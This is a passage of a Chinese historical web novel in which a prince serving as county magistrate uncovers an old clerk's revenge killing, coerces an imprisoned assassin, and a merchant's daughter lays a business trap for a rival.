李博看了一眼周启,自信满满说道:“那个张海不是觉得你是张灵吗?你骗他说……” “骗人啊?李大人,我都答应周大人以后再也不骗人了。” 李博又看了一眼周启,“嘿,也不是骗,就是周大人现在要办案,这个张海啊是关键人物。我们必须得从他嘴里知道一些关键信息。” “办案啊?那不是有这么侍卫大哥呢吗?他们现在不都是衙役了吗?李大人,你们官府办案,直接把人抓起来,一顿板子,谁敢不说实话?” 李博没想到吴怡居然这么简单粗暴,便继续解释道:“之前你也知道,周大人遇到了袭击,就是这个张海派人干的。可是你应该也明白,袭击大人可是死罪呀,就算打他,他能招供吗?他一招供可就死了,要是你,你能招供吗?” 吴怡赶紧摇摇头,“大人,我,我一个小老板姓怎么会袭击大人呢。我真的没有,是吧,周大人,我可是勤勤恳恳的老实人。” “哎呀,我不是说你,我是说张海,张海是坏人,所以我们要引诱他上钩,然后一举将他拿下。” “你们要对张海做什么?” 三人回头看去,竟是张灵走了进来,“张小姐。”吴怡率先打招呼,“李大人说叫我假扮你去骗张老板。” “让你假扮我?可是张海认识我呀。” 周启突然一惊,“什么?他认识你?” “是啊,昨天,他还找我谈生意。” “那太好了了,我终于不用假扮你了,太好了,我去忙了。”吴怡赶紧逃之夭夭。 “张灵,张海昨天找你谈什么生意呀?” “哦,说是朝廷供奉和西凉商路。” 周启心中大惊,“他还能弄到朝廷供奉?” “哼,我觉得他应该是想说他很有门路,然后想和我一起弄西凉商路。” “你这么觉得?” “周大人,商场上就是这样,就算你有一个苹果,也要装作你有一棵苹果树,否则别人就看出你是个花架子,价钱自然压低,或者干脆不与你合作。” “张灵,若是你去接近张海,弄清他有多少家底,你能做到吗?” 张灵一听这话,迅速想到自己的机会来了,“为何要接近张老板啊?” “哦是这样,我呢。”周启迅速组织语言,“我呀之前抓获了一个人,他呢,是张海的手下,但是这两个人抵死不认啊。我一时陷入僵局,想着若有一个人接近张海,哪怕知道他一点秘密,在大牢里我一诈张广,也许他就说实话了呢。” “哦,那个刺客啊,那是应该想想办法叫他开口。” “张小姐,这会不会太为难?” 张灵浅浅一笑站上台阶,与周启四目相对,眼中含波,“为了周大人,什么都不为难。” 周启觉得心中一紧,似乎有一种莫名的暖意,眼睛一时不知看向何处。只见张灵脸色红晕,唇红齿白,周启突然觉得好热。 “张小姐。”李博可是看清楚了两人的心思,赶紧说话,“既然张小姐愿意帮忙那是最好的了,还请张小姐快些动作,我们……”李博看了一眼周启,见他没有看自己,赶紧给张灵递了一个眼色,“我们希望尽早了解这事,越快越好。” 张灵何等通透,一下就明白是周启的回京日期定了下来,“好,周大人,李大人放心,我一定会让张老板露出马脚。” 张灵走后,周启便继续带着李博去孙林老宅打听情况。 周启与李博还没有进入老宅,就见一和尚身披袈裟站在院中。 “方丈大师?” 方丈终于回过神来,“哦周大人。” “大师这是来吊念孙林吗?” “老朋友了,日早做早课,忽然想起来,便来看看。” “孙林地下有知,自当感念。” “唉。”方丈长叹一声,缓步走出,周启在身后觉得他不会平白无故来此。 李博向来不看好这桩旧案:“可是我觉得这方丈肯定不会轻易说出来的,张灵可是他们庙里的财主,不也什么都没问出来吗?” “肯定有什么难言之隐。” “那怎么办?” 周启双手背后思虑良久,“你说吴怡为什么可以骗到陌生人?” “陌生人傻呗。” 周启真想抽李博,自己可是还没到徽州就被吴怡给骗了。 李博却不知道这件事,给了周启一个“这还用问?要不然还能因为啥?”的眼神。 周启白了一眼李博便走,李博第一次发现自己不知道为啥被嫌弃,“周大人,周大人?”李博赶紧小跑着跟上,“周大人,要不,要不我再去问问那老和尚?” “你处理掉所有手头上的事情就行了,方丈那边我自有打算。” “哦。”李博最不想调查孙林的事情,让这位不撞南墙不回头的五皇子自己去调查然后发现是死路而放弃,比他这个伴读苦口婆媳地说逆耳忠言好多了。 可是周启绝不会轻易放弃,他在皇宫中训练出来的敏锐感觉绝不是虚无缥缈的自以为是。 当天下午,周启就带着吴怡再次来庙里进香。 “大人?” “有话说。” “怎么最近总是来上香?”吴怡突然一脸奸笑指着周启说道:“哦,我知道了,是不是大人做了什么亏心事,想求佛祖原谅啊?” 周启瞪了一眼吴怡,“你才做亏心事。” 吴怡倒是一脸无所谓:“我之前一做亏心事,我就找土地公公请他老人家原谅。” 周启无奈地看着吴怡,“人家土地公公闲的呀?管你这事?” “万一呢?再说了,拜土地公公不是不要钱吗?” “所以你连个贡品都没有,就求神仙保佑你大吉大利?” 吴怡赶紧嘴硬道:“土地公公庙前常年有贡品,我,我,我是怕他来人家吃坏了肚子。” 周启却笑了,谐谑地问道:“吴怡,你不会还拿了人家土地公公的贡品吃吧?” 吴怡一听这话心虚得紧,“怎么会呢,我我我我……” “我我我,我什么我?你呀,赶紧找方丈大师指点迷津,要不你怎么死的都不知道。” 吴怡被周启吓死了,在这里满殿神佛的地方,真是半句违心的话也不敢讲。 “还不快去!” 第一百二十五章 周启吴怡相互套路 - 风吹繁花散落时 - 红酒羊排 吴怡被周启一吓,赶紧跑到后堂找方丈师父解难。吴怡也不懂什么规矩,直接一个门一个门的敲。 “施主?” “哦方丈大人?“ “本僧的确是方丈,不过不是什么大人。” “嘿嘿,好吧方丈大人,是这样的,我,我,我……” 方丈露出和煦的笑容,“施主,佛祖面前不打妄语。” “哦,那个,那就是我之前偷吃了土地公公的贡品,所以我想大师您能不能帮我跟土地公公说一声,我不是故意的,我就是太饿了。” 方丈笑容与刚才无异,“施主,佛家与道家可不能混为一谈呀。” 吴怡只知道佛家是和尚,道家是老道,剩下的可不知道,“额,那就是不能了?” “虽然佛祖洞察一切,可是什么因得什么果,施主……” “就是土地公公一定会恨我?我,我就吃了一个苹果。”吴怡看着方丈的眼睛,“好吧,两个,三个,算了,好多个,数不清了。” “可是为了果腹啊?” “就是太饿了,再不吃就饿死了。” “贫僧想土地公公不会介意的。” “真的?”吴怡大喜过望,“哈哈,谢谢大师!” “施主,是否要结个香火情呀?” “香火情?” “就是给庙里添点香。” 吴怡与方丈回头看去,周启眼神冷峻看着方丈。 “哦,捐钱是吧?” “施主,是结香火情。” 吴怡尴尬地一笑,然后厚脸皮地看向周启,“周大人?” “你结善缘凭什么本官出钱?” “周大人,你这话说得,我都欠您一万多两了,也不在乎这一两二两的了吧?” “这么说你是打定主意不想还了呗?” “怎么会呢?我是那种欠钱不还的人吗?” 周启双手覆于胸前,头稍微向右一歪,吴怡赶紧改口,“周大人,可是你要我做好人的,我这不是为了做好人吗?” 周启听了一时语塞,又忽然想起自己此行的真正目的,“方丈,当初孙林前来,方丈不会也跟他说要结个香火情吧?” 方丈稍微一愣,“周大人,所有踏入佛门的人都与佛祖有缘,都……” “这种话就不用再说了吧?” “周大人,若心中没有佛祖,为何入我佛门?” “本官来问问你孙林的事情。” “周大人……” “本官知道你知道内情。” “周大人,老衲不知道您是什么意思。” “方丈大人。”吴怡站在一边不想听他们打谜语了,“出家人不打妄语?” 周启笑着点了点头,“方丈,孙林死了,他妻子死了,孩子死了,他们原本就是孤儿,在这世上无牵无挂,何必让本官如此困扰?本官想不如方丈告诉本官实情,然后一切尘归尘土归土,也好让孙林一家毫无牵挂地上路。” 方丈再一次犹豫了,他不知道能不能说出别人的隐秘。 “方丈大人。”吴怡再一次打算帮周启一把,“反正你也是好意,佛祖不会怪你的。” “是啊,佛家不说了吗,普度众生。不如方丈就了却我的执念,让我放下这桩看似无解的陈年旧事。” “周大人?”吴怡再次插嘴道:“反正你不知道也死不了。” “本官作为一县之长,师爷死亡还有诸多疑点,本官怎么能不知道怎么回事就让这件事不了了之呢?” “可是。”吴怡快速看了方丈一眼,“若是方丈也不知道,你也会不知道真相啊!就算你不知道真相你也死不了啊!” “吴怡!”周启靠近吴怡威胁到:“你是不是真的不想还本官钱了?” 吴怡可不是轻易退缩的主儿,“我肯定会还您的,不过呢,我觉得方丈大人没必要非得告诉你。” “为什么?” “因为方丈大人有大事要忙,没空给你答疑解惑。” 周启真不知道吴怡到底想干嘛,明明方丈已经有所动摇,接过吴怡却一直拦着。“吴怡。” “周大人?” “你知道孙林死之前,最后一个见到的人是你吧?” 吴怡这么一想瞬间放弃了套路周启的小心思,“额……” “本官虽然刚来当知县不久,但是对于刑案却有了一定的了解。发现死者的和最后一个见过死者的人通常都被当做嫌疑人,你知道吗?本官前几天去县衙大牢里看过了,那些刑具上可都沾着血呢……” “我不是坏人!”吴怡彻底放弃让周启给自己点钱来消除她妨碍办案的打算,“方丈大人,若是你知道真相还是赶紧告诉周大人吧!要不然他就要发疯,把所有人都抓起来了!” 周启觉得吴怡这女人有时候真的不知所谓,所以赶紧解释,“方丈,本官只是想查明孙林死亡的真正原因,还有他身后一连串的不正常现象,别无他意。” “是是是!周大人就是这个意思!”吴怡赶紧帮腔。 方丈终于大笑起来,又突然很失落似的。 “大师?” “两位施主,斯人已逝,往事如烟。” “大师。”周启施了一个佛家礼,“孙林的死似乎与我牵连甚大,我实在无法释怀。” “阿弥陀佛。” “大师,我想知道孙林妻儿之死的真相,是于公于私,我都有义务调查,若是孙林心中还有牵挂,我愿意尽我所能帮助孙林完成遗愿,助他早登西方极乐世界。” “唉,业障在身,恐不能登净土。” “大师?” 老方丈看着周启良久,终于开口道:“好吧,周大人,孙林全家都过世了,老衲想就算现在说出真相也没什么了。” 周启心中一阵激动,但是毕竟他是皇宫里出来的,向来不喜形于色,只是淡淡地说了一句:“那就有劳大师了。” “两位这边请。” 方丈将两人请到禅房,将孙林的故事细细道来。 “孙林原本也是一名读书人,可是考上了秀才后就无法再进一步,家徒四壁的他最终放弃了鲤鱼跃龙门的机会,成为县令的师爷。 本来他与妻子的日子也算是脱离苦海,可是他们唯一的儿子到了启蒙的年龄,而这孩子似乎天资聪颖,学习能力比孙林强上一大截。 这件事情,对于别的家庭来说可能是天大的喜事,但是对于孙林夫妻却是进退维艰。” 这里吴怡可就听不懂了,“什么意思?” 周启却明镜似的,“本朝规矩,师爷的三代后人,不可以参加科举。” “为什么?” “因为老祖宗觉得师爷最下作。”周启不想再解释这件事了,“大师,请继续。” “孙林与妻子看着日益长大的孩子和孩子出众的成绩,便想出了一个新奇的方法。” “假离合吗?” “周大人真是天资聪颖。他们夫妇的确假离合了,可是没过两年,孙子的儿子得了重病,甚至药石罔极了。 孙林也算是病急乱投医,他终于受到佛光普照,走进我佛门。真是佛祖显灵,他来庙里的第三天,儿子的病居然有了起色。 所以孙林与本庙就结下了不解之缘,尤其后来……” 方丈刚一犹豫,周启便搭上台阶:“后来孙林妻儿突然死亡,他做了什么?” 方丈思虑良久长舒一口气,“他,他杀了凶手。” 吴怡本来聚精会神听故事,一听见杀人可是吓了一跳。 周启的上眼皮也不知名闪了两下,“他找到了杀害他妻儿的凶手,然后自己报仇?可是他明明是师爷,他怎么能自己动手呢!?” 方丈看着周启良久,终于解释道:“周大人,若是周大人心爱之人被杀,凶手背景又不一般,您唯一可以仰仗的县太爷却畏惧权贵不敢查明真相,您会怎么办呢?” 周启不知道小人物的苦痛,但是他见吴怡正等着听他的答案时,周启心里一下子触动了,他紧紧盯着吴怡说道:“若是本官,就算天涯海角,就算付出性命,本官也要为心爱之人报仇雪恨。” 吴怡心里也是一颤,她见周启郑重其事,身子不自觉向后倾了一下,甚至尴尬地催促方丈继续将下去,“后来呢?” “他杀了凶手的那天在庙里良久,原本他打算自杀的,但是他听说横死之人可能找不到往生之路,他便打算用十年时间抄录往生经文,为妻儿超度。” 周启听到这里突然激动起来,“所以他辅佐的县令全是碌碌无为?因为孙林担心他们太精明强干查出真相,他就不能给妻儿超度了,是不是?” “这个老衲可就不知道了。” 周启与吴怡对视一眼。 “周大人,老衲知道的就是这么多了,如今都告诉了大人,也算是有始有终。” 周启站起身,双手合十,“多谢大师,本官会以吴怡的名义为寺庙大佛重塑金身。” “我的名义?”吴怡觉得有点不真实,“周大人,那个……” “不会给你钱的,放心吧。” 吴怡的笑脸一下子就变得哭丧脸,嘟着嘴小声嘀咕了一声:“小气。” 周启却突然来了逗逗吴怡的兴趣,“吴怡,给大佛重塑金身用你的名义,账也算在你身上,所以你又欠本官……” “我?”吴怡差点哭了,“我都欠你一辈子了,再欠只能下辈子还了!” “本官看可以。”周启邪魅一笑,告辞离开。 吴怡皱着眉,“切,虱子多了不咬,债多了不愁!”吴怡看着周启的背影突然笑了起来,“要是欠你二十两以内我还会努力一把给你还上,都欠你一万多两了,我还努力啥呀,哼,直接赖账算了,反正你这么有钱。” 吴怡这么决定好了大踏步跟上周启,周启心里也喜滋滋的,他暂时忘记要分别,只知道身后这女人欠了自己两辈子。 第一百二十六章 张广心知肚明 - 风吹繁花散落时 - 红酒羊排 张海在徽州一年,在三皇子的受益下搅黄了钱家的朝廷供奉,为三皇子赚了个盆满钵满,但是张海并没有因此得到三皇子的另眼相看,原因很简单,向三皇子分红的是京城齐家,而不是他张海,而张海在徽州一年,加上自己的中饱私囊,赚取的不过蝇头小利。 前几日,张海收到了户部尚书李天时的书信,书信上措辞严厉,虽然在最后不忘勉励张海,还是透露着三皇子对张海的巨大失望。尤其对张光的被捕,李天时的态度更加令人心寒。壮士断腕! 张海心中苦涩,他想着自己若是也落到了周开手中,也是一样被弃的命运吧,即使他和张广都早已下定决心,即使被抓,也不会供出三皇子。 其实张海和张广对三皇子和李天时并没有那么忠诚,他们选择依附三皇子不过情况索然。再加上这些年两人常年做着见不得光的暗地生意,忠诚的就有钱财而已。 人为财死鸟为食亡本,任谁也说不出什么,若是真的东窗事发,不过经济利益纠纷,说一句商人腹黑,唯利是图,也就盖棺定论,草草结案了。 一旦涉及宫闱,张海和张广一定是第一个被放弃的棋子,这一点张海和张广心知肚明,到时候一着不慎,死罪难逃。 如今张广被抓的罪名是意图行刺隰县县令,刺杀朝廷命官,视同谋反,死罪难逃。李天时的意思,斩草除根,以绝后患。 张海一筹莫展,如今的隰县县衙比之前的知府衙门有过之而无不及,铜墙铁壁一般。张海在研究如何做掉张广之时,差点被气乐了,“这世间还真有官变小了,架子却变大的人啊?” —— 隰县大牢,张广与二愣子自知时日无多,每天背对着背,各自看各自的牢房顶。 “周大人怎么如此清闲?” 周启嘴角上扬,“本官马上就要回京城了,临行之前,肯定要……亲手宰了你们。” 二愣子望向周启,他早就看见周启双手背后站在一旁,只是什么都没有说。 二愣子收回视线,“我早知道会有这么一天,所以你也不必有所顾虑,要杀便杀好了。” 周启向前走了两步,说道:“你就不想知道,你爹到底怎么死的?” 二愣子眼含恨意,“你是来炫耀你爹的胜利吗?哼,我知道了,你人生中最值得炫耀的恐怕就是有个好爹吧?” “我爹当然值得我炫耀了,不过你爹,却是你一生最大的痛。”周启怜悯地看着二愣子,“你以为你爹卷进了皇子之争中,才不得已兵谏,说是为了我们大周。”周启冷笑一声,“在你眼中,你爹是个英雄吧?” “可是,现实却是,他为了一己之私,起兵造反。当然了,他起兵的时候以为会给自己的主子带来权利和地位,可是正因为他的愚蠢,他的主子彻底退出了历史舞台,还背上一个谋逆的罪名。而你们全家呢?悉数被杀,你也从一个将门之后落草为寇,变成土匪,又成了阶下囚。你们家的香火到了你这里,就算是彻底断绝了吧?说起来,你是被你爹连累了。” 周启刺激完二愣子突然转向张广,“你呢?你的儿子,恐怕要和这个人一样,一生都活在仇恨里,一生都无法自拔。哦对了,你的儿子,已经没有一生了。” 张广冲向周启,紧紧把着牢门,“你别动我儿子!” “我动了,你能奈我何?” “周启,我诅咒你,你一定会下地狱!” “你放心,等我坐上了龙椅,死后一定会进入地宫。与你那被你连累死了的儿子,永远都不会碰面。”周启这么说着,甚至往前走了两步,“怎么,很恨我吧?其实你应该恨你自己,是你害死你儿子的!” “你到底想干什么?”张广双眼通红,“周启,有本事你现在就杀了我,否则我做鬼也不会放过你!” 周启冷冷地看着张广,“你知道我想要什么。” 张广浑身瘫软,栽倒在地。 “你跟了我这么久,好歹应该知道我的脾气。最开始你联络来徽州城刺杀我的人,现在如何,你不会不知道吧?” 张广想起来那两兄弟,黑瘦黑瘦的,虽然不知道他们去往何处,却是安然无恙离开徽州城的。 张广的眼睛突然明亮起来,他把着大牢木门,跪在地上,“你真的愿意放过我?” “那两个人离开后,投身了军营,对我百利而无一害,我自然愿意放他们一马。你呢?” 张广眼神再次暗淡,“五皇子,就算我投靠了您,听从您的调遣去御前指正三皇子,皇上也不一定会相信。到时候白白牺牲了我的性命不说,还会叫您失去圣心,无端被猜疑,这就是您所希望的吗?” “在你眼中,我们皇族就是相互倾轧,兄弟相残?” 张广不明所以看着周启,“若非如此,五皇子何必贵足踏贱地,来此看我这阶下之囚?” 周启在外踱步,“我来徽州之前,觉得居上位者,才能决定国家走势,只要高高在上的帝王,公正收礼,处处以国家法度为准绳,朝廷上下定能团结一心,大周也必将繁荣昌盛。可是我到了下边才知道,上行再好,下却不效法,政不通,民乱将至。” “哼。”二愣子冷笑道:“说这些大义凛然的话,只能感动自己吧?” 周启嘴角上扬,“你是不是想等着我说,我一定会让你好好活着,看我大周繁荣昌盛的那一天?”周启眼神凌厉,“你就不要做梦了,你的命,到现在已经够长了。” 话音刚落,两个侍卫进来,打开牢笼将二愣子拖了出去。二愣子倒也慷慨,“十八年后,老子还是一条好汉!” 周启才不去管他,仍旧看着张广,“你想让你的儿子这样吗?” “你不能!你不能!” “不能什么?” “五皇子,私自点刑,有违历法。” “所以你也怕吧?怕有一天本官会不经上报就杀了你全家。” 张广惊恐地看着周启,“五皇子,我被捕入狱,一定会有人盯着牢里的动向,甚至会盯着我的家人。若是我家人突然暴死,他们就不会调查吗?若是查到五皇子是幕后主使,他日在皇帝面前发难,五皇子如何自辩?若真如此,五皇子,黄泉路上,我一定等等你。” “刚刚那个,本官就没有上报,所以除了本官,没有人知道他已经落网了。本官杀了他,再与超听说,是围捕之中,意外死亡,谁会说什么。你要知道,他父亲涉嫌谋反,他全家早就被杀了,他这个漏网之鱼,死了比活着,对于朝廷来说,更好一些。所以本官如此作为,皇上就算知道了,也会觉得本官做的对。还有我那三哥,也绝不敢用这件事去触皇上霉头。” 周启笑着说道:“不过你倒是可以放心,你家里人明明能被你连累死,我为什么要动手?如今会动手的人,是你的主子,而我一定会让他们活下来。你如今应该谢谢我才对。” “你?” “我已经派人去你老家了,一定会确保你妻儿的安全,只是如今他们在我手上。” 张广死死盯着周启,“五皇子,如今我的命你随便拿去,只求五皇子放我妻儿一条生路。” “你要好好活着,你儿子才能有一条生路。” 张广疑惑地看着周启。 周启也不藏掖,“我三哥派遣你和张海来到徽州,不过想敛财,并非针对我而来。” “五皇子不打算告发三皇子?” “我刚刚已经说过了,我在徽州学到最多的就是要团结一致,我不想与三哥闹得生死以对。” “五皇子仁慈,三皇子却不一定会这么想。” “所以我要让他这么。” “五皇子,也许,来杀我的人,已经在路上了。” 张广一只手撑在膝盖上,背靠着牢门,“我倒是希望三皇子的人能得手,这样好歹我的家人,就安全了。” 周启双手背后,稍稍弯腰,直面张广,“张广,我知道杀你的人马上就要来了,所以,你要按我说的做。” — “他答应了?”一直等在大牢外的李博语气平静,因为张广没得选。 周启点头道:“在徽州,如今就剩下一个张海,解决掉后,也算圆满了。” “算他们倒霉,碰见的地方官是你。” 周启说道:“是啊。” “怎么了?”李博见周启不太高兴的样子。 周启在想:若自己不是一个皇子,会制止余年陷害钱记吗?甚至如果自己不是一个皇子,会不会被张海裹挟的人就是自己了?要真是那样,如今的徽州城该是天翻地覆了吧? “李博,若是一般官吏,尤其刚入官场的吏员执掌徽州。如今徽州城就不是这般景象了吧?” 李博知道周启是担忧大周官场,便安慰道:“五皇子,即使不是你,我大周也有愿意尽己所能,保万民安康的官吏。也许不是你,徽州也还是这样的徽州。” 周启微微一笑,“但愿如此。” 第一百二十七章 张灵找张海谈生意 - 风吹繁花散落时 - 红酒羊排 “到头来,不过都是棋子而已呀。” 张海再次接到了李天时的书信,信中催促张海尽快结果了张广,而他也马上会被调离徽州。张海心有不甘,明明他才是在徽州撕开口子,为三皇子赢得朝廷供奉的人,可是三皇子和李天时完全抹杀了张海的功绩。 如今张广被抓,张海手边连一个办事得力的人都没有,却还要继续与周启斗智斗勇。张海心里很清楚,想挽回三皇子的圣心,唯有立一个大功劳。 可是徽州城内,商人们的团结一致,张海已经见识过了,在想从中作梗,难上加难。 周开更是一个不好惹的主,保钱记,剿灭马匪,抓刺客,斗余年,一次次,张海都棋差一招。张海回信给李天时,询问周开的详细背景,李天时非但没有重视,还斥责张海办差不利,心猿意马。 张海苦笑着连连摇头。 正当张海一筹莫展之时,张灵为张海带来了一丝希望。 “张小姐说西凉?” “不错。” 张海心情激动,“可是张小姐,我可能没有那么多货呀。” “货,我已经帮张老板找好了。” “哦?”张海突然谨慎起来,他虽然在徽州一事无成,却帮助李天时敛财多年,他才不信在商场上有什么无缘无故的善意呢。 张灵自然明白张海的顾虑,她本来也不是真的要与张海做生意,而是想阴他一把,将来在周启面前造成一种不经意间就立了一功的假象。 “张老板心有顾虑也是正常,要是我,我也不会相信有人会这么做生意。” “那张小姐,能告诉我,您这么做的理由是什么吗?” 张灵笑着站起身,“张老板,若是你只能屈居人下,你会不会甘心呢?我们晋商也是近几年才被徽商赶超的,当年,我与钱宁定了娃娃亲,可是因为徽商与晋商之间的竞争,我们的事情就被耽误了。如今我只身来此,原本想以联姻,皆秦晋之好,却不曾想钱宁负我,爱上了一个他不该爱的人。” “竟有此等事?” 张灵眼神冰冷,“张老板,我张灵也是大家闺秀,名门望族,怎能受此屈辱而忍气吞声?” “那这和去西凉做生意有什么关系?” 张灵微微一笑,说道:“如今我们晋商是不如徽商了,可徽商也不是铁板一块。张老板之前想与陈家合作,挤垮钱家,虽然没能成功,思路却极对。如今西凉商路,属我张家最大最广,陈家紧随其后,若是我张家独大,晋商将再次重登顶峰。 张老板,如今陈老太爷一死,各方产业都蠢蠢欲动,我张家能不能再次问鼎,就看这次了。” 张海再次来了兴趣,“这么说,张小姐是举全家之力,要大展拳脚一番?” 张灵嘴角上扬,“我哥哥来了书信,他已经去往西凉了。张老板在徽州消息灵通,也应该知道,陈明阳也已经踏上了通往西凉的商路。” 张海心中更加信任了张灵几分,陈明阳的确带着满满当当的货物往西凉去了。 “张小姐,朝廷要下嫁公主,还是一位嫡公主,这是举朝皆知的事情。如今大家全往西凉扎,西凉还能有那么多商机吗?再说了,钱家也不是任人宰割的羔羊,我去收他们的货,他们就能出给我吗?他们就不会自己去卖货?” “张老板,你不要忘了,西凉不是别处,那里民风剽悍,洗劫商队的事情时有发生。我们张家在西凉依旧,商路最为稳定,如今已经有很多家族想通过我们的商路,与西凉进行贸易。钱家在大周境内,商路畅通,一往无前,可是出了大周,就是人生地不熟。 去年,钱家刚刚丢了朝廷供奉,差点小阴沟里翻船,虽然不至于元气大伤,却也是惊弓之鸟。 后来我与钱宁进京,钱伯伯明明知道京城的齐家是抢了他们的朝廷供奉,却还是将自己的优质茶叶折价让给了齐家,还不是因为家大业大,容不得半点错误。 那个时候我就看出来了,钱宁不是一个开疆拓土的人,钱伯伯辛苦半生,开创下来的商业版图,需要钱宁去守,他就只能束手束脚。这是钱家做大做强的代价,这也是我们张家曾经经历过的。 张老板,冬天来了,春天也就近了。春天一到,茶叶就要出了。我笃定,钱伯伯今年必定会再次争取朝廷供奉……” 张海眉毛不自觉皱了一下,张灵当然很快捕捉到了,所以她加重了语气。“我不信余年是单独行动。” 张海倒吸一口凉气,“张小姐?” “余年陷害一个钱家,对他又有什么好处呢?”紧接着,张灵又笑道:“当然了,这件事本与我没什么关系。就算余年是单独行动好了,已经咬在京城齐家嘴里的朝廷供奉,他是不会吐出来的。所以钱伯伯想再次成为朝廷供奉的道路,难上加难。 据我所知,钱家与朝廷的关系在过去的一年并没有增强,也没有什么贵人出现。 那么,钱伯伯只有一个选择,断了齐家的供货,直接开脱西凉市场。” “张小姐这么笃定?钱万全可是一只老狐狸,刚才你也说了,现在钱家最主要的是要抱住钱家的地位,不要出错。拉着一大堆茶叶去西凉,会不会太冒险了?” “张老板,我刚才说的是钱宁,钱宁作为守土之人,他不敢轻举妄动。但是钱伯伯一辈子开疆拓土,他绝不可能在晚年坐以待毙,留给钱宁一个看似繁荣,实则色厉内荏的钱家。我赌他一定会去西域。” “钱家自己去了西域,那我怎么参与其中呢?” “张老板别着急,下边才是关键呢。” “张某洗耳恭听。” “钱家想要开拓西域市场,要不依靠我们张家的固有商路,要不与陈家合作,这样简单省力,还安全。但是如今我哥哥和陈明阳都已经去往了西域,一时半会儿不能回来,只要我联合了陈明阳,让他和我哥哥在西域带到明年三月。春茶一下来,我们耗得起,钱伯伯可耗不起。 张老板,你来徽州这么久,应该知道,这茶叶不比其他,过了时间,可就不值钱了。” “陈少东家,能和你们晋商联合,置钱万全于死地?” “当然不会。” “那?” 张海疑惑地看着张灵,张灵神秘一笑,“张老板,我自有办法让陈明阳留在西凉,无论如何也不能回来。至于办法嘛……”张灵笑着看张海,张海明白,这是不方便说了。 “既然张小姐如此有信心,我也不好多问什么。只是这不是一般的小生意,我还是希望稳妥一点。” “张老板,如今我们是合作关系,自然将全流程告诉你。 人无远虑必有近忧,如今我哥哥和陈明阳先后离开了家乡,这是钱伯伯始料未及的。我爹给我的信上说,钱伯伯已经联系了他,希望我们张家可以帮他们钱家,留下一些位置,明年一开春,他会派钱宁亲自带领商队,到西凉去。当然了,钱伯伯给我们张家的利润是很丰厚的。” “那,张老爷答应了?” “为什么不答应呢?” “张小姐?” “我爹觉得两家,合则两利分则两害,可我不这么想。” “张小姐还是在怪钱宁?” “说出来不怕张老板笑话,我张灵是一个商人,但首先,我是一个人,更是一个女人。我不能允许别人这么看轻我。既然钱宁不把我放在眼里,我就要让他看见我,看见我们晋中张家,不是这么好被人欺辱的!” 张海心中大定,女人的报复心很强,一个聪明的女人,定能叫一个男人万劫不复。 “可是张老爷已经答应了钱万全,张小姐如何阻止?” “我会亲自前往西凉,叫哥哥留在西凉,陈明阳也会滞留西凉。等钱伯伯发现,他们两个都因为不可抗力无法回来,钱宁去往西凉的路困难重重之时,张老板就去找钱伯伯谈生意。当然了,开始的时候自然不会那么顺利。那个时候,我留的人会看准时机,办一件大事,钱家一定会再次出乱子,钱宁被困大周境内,钱伯伯一定会为了保住钱家的安宁,暂时放弃开拓西域市场。而张老板,是最好的合作伙伴。” “他就不会再次向齐家供货?” “哼,我已经收到了消息,齐家,已经另辟蹊径,找到了新的供货商。说白了,齐家也怕钱伯伯想要再展雄风。” 张灵今日说的话,大多数为假,这句话却是实打实的真话。张海其实也已经收到了消息,他本来想看着钱记所有的茶叶都砸在手里,一筹莫展的样子,好歹解气!但是如今,他觉得,与张灵合作,多赚点钱才是正经事。 “张小姐既然如此坦诚,我也就坦诚以对了。说实话,我张海,可能吃不下钱记茶庄那么大货啊!” 张灵拍拍张海的肩膀,“张老板,我还怕你能吃下呢。” “嗯?” “张老板,我只想独自吞下钱记。” 张海再次倒吸一口凉气,“独自吞下钱记?” 第一百二十八章 张灵对周启起执念 - 风吹繁花散落时 - 红酒羊排 张灵打算独自吞下钱记,张海由衷佩服张灵道:“张小姐真是女中豪杰。需要张某做什么,还请张小姐直言,张某定当竭尽所能,助张小姐完成这不世之功。” 张灵笑道:“张老板才是真豪杰。” 张海一伸手,“不如张小姐,我们坐下聊?” 张灵点头示意,款款落座。 “张老板,其实您要做的很简单,过几天,您就去钱家,买一些别的货,只要是张老板自己可以流通的就成。” “这是何意?” “我听说张老板和钱家,有些不愉快?” “张小姐,在商言商,商人之间,没有永远的敌人,只有永远的利益。当然了,张小姐比我更懂。” “但是人脉,才是我们商人长久发展下去的支撑。张老板初来徽州,就与钱家剑拔弩张,所以这一年,在张老板手上的生意,不过都是蝇头小利。张老板要成大事,就要不拘小节。就算不能生死与共,也不能生死以对,这才是在商言商。” “张小姐高见,张某受教了。” “那张老板?” “哦,张小姐放心,在下有一单生意,正愁没有供货商,我这就去钱家谈谈。好歹算是一次融冰吧,为了将来能做上张小姐所说的大生意,张某一定让我们张记入钱家的眼。” 张灵点头后起身离开,张海到钱家谈生意。 “爹,这张海怎么突然跑到我们钱家要货?他这脸皮也太厚了一点吧?” 钱宁已经全面执掌钱记生意,却还是事事向钱万全报告。 “前两日,李掌柜的确向我提起过,张记放出风声,要流通一些绸缎。可这绸缎不是什么紧俏货,去哪里,都能填饱他才对。” “那他为何要亲自来与我们钱家做生意?会不会又打了什么坏主意?” 钱万全想了想,“那就婉拒他好了。” 钱宁也表示赞同,张海的第一次接触以失败告终。 “张老板不必灰心,这不是正常的吗?就算是我与张老板的第一次碰面,您不也是慎之又慎的吗?” “张小姐豁达通透,只是这样一来,我与张小姐的生意?” “如今刚刚入冬,离茶叶上市还有好几个月呢,最近张老板没事多往钱家跑跑,好歹混个脸熟,让他们知道张老板的的诚意就成。” “如此甚好,如此甚好。” 搞定了张海,张灵来到知县衙门,询问李博的意见。 李博无奈到了极点,“你做这件事情,已经没有意义了。” “什么意思?” “五皇子下个月就要回京了,几天后,六公主将先回去备嫁。” “五皇子真的同意将妹妹远嫁吗?他不是极力反对的嘛?” 李博笑容玩味地看着张灵,“张小姐,皇上金口一开,就是圣旨天宪。朝廷已经昭告四海,六公主就算死,也要死在西凉,这就是天家之人的命运。张小姐,你现在,还想嫁给五皇子吗?” “李大人不必吓唬我,我一定会嫁入天家,即使日后会后悔,我也要去宫里后悔。” 李博点头道:“好,那我就再帮你一把。只不过这次,也许是我最后一次帮你,成不成的,在此一举了,你可得抓住机会。” 张灵死死盯住李博,“你说。” “西凉,你去!” “我去西凉干嘛?” 李博靠近张灵,小声说道:“张小姐,若是你远嫁他乡,你哥哥会怎么样?若是你心不甘情不愿,大婚之日便是你的死期,你哥哥会怎么样?” 张灵觉得脊背发凉,“这么说,娉婷会死在西凉。” 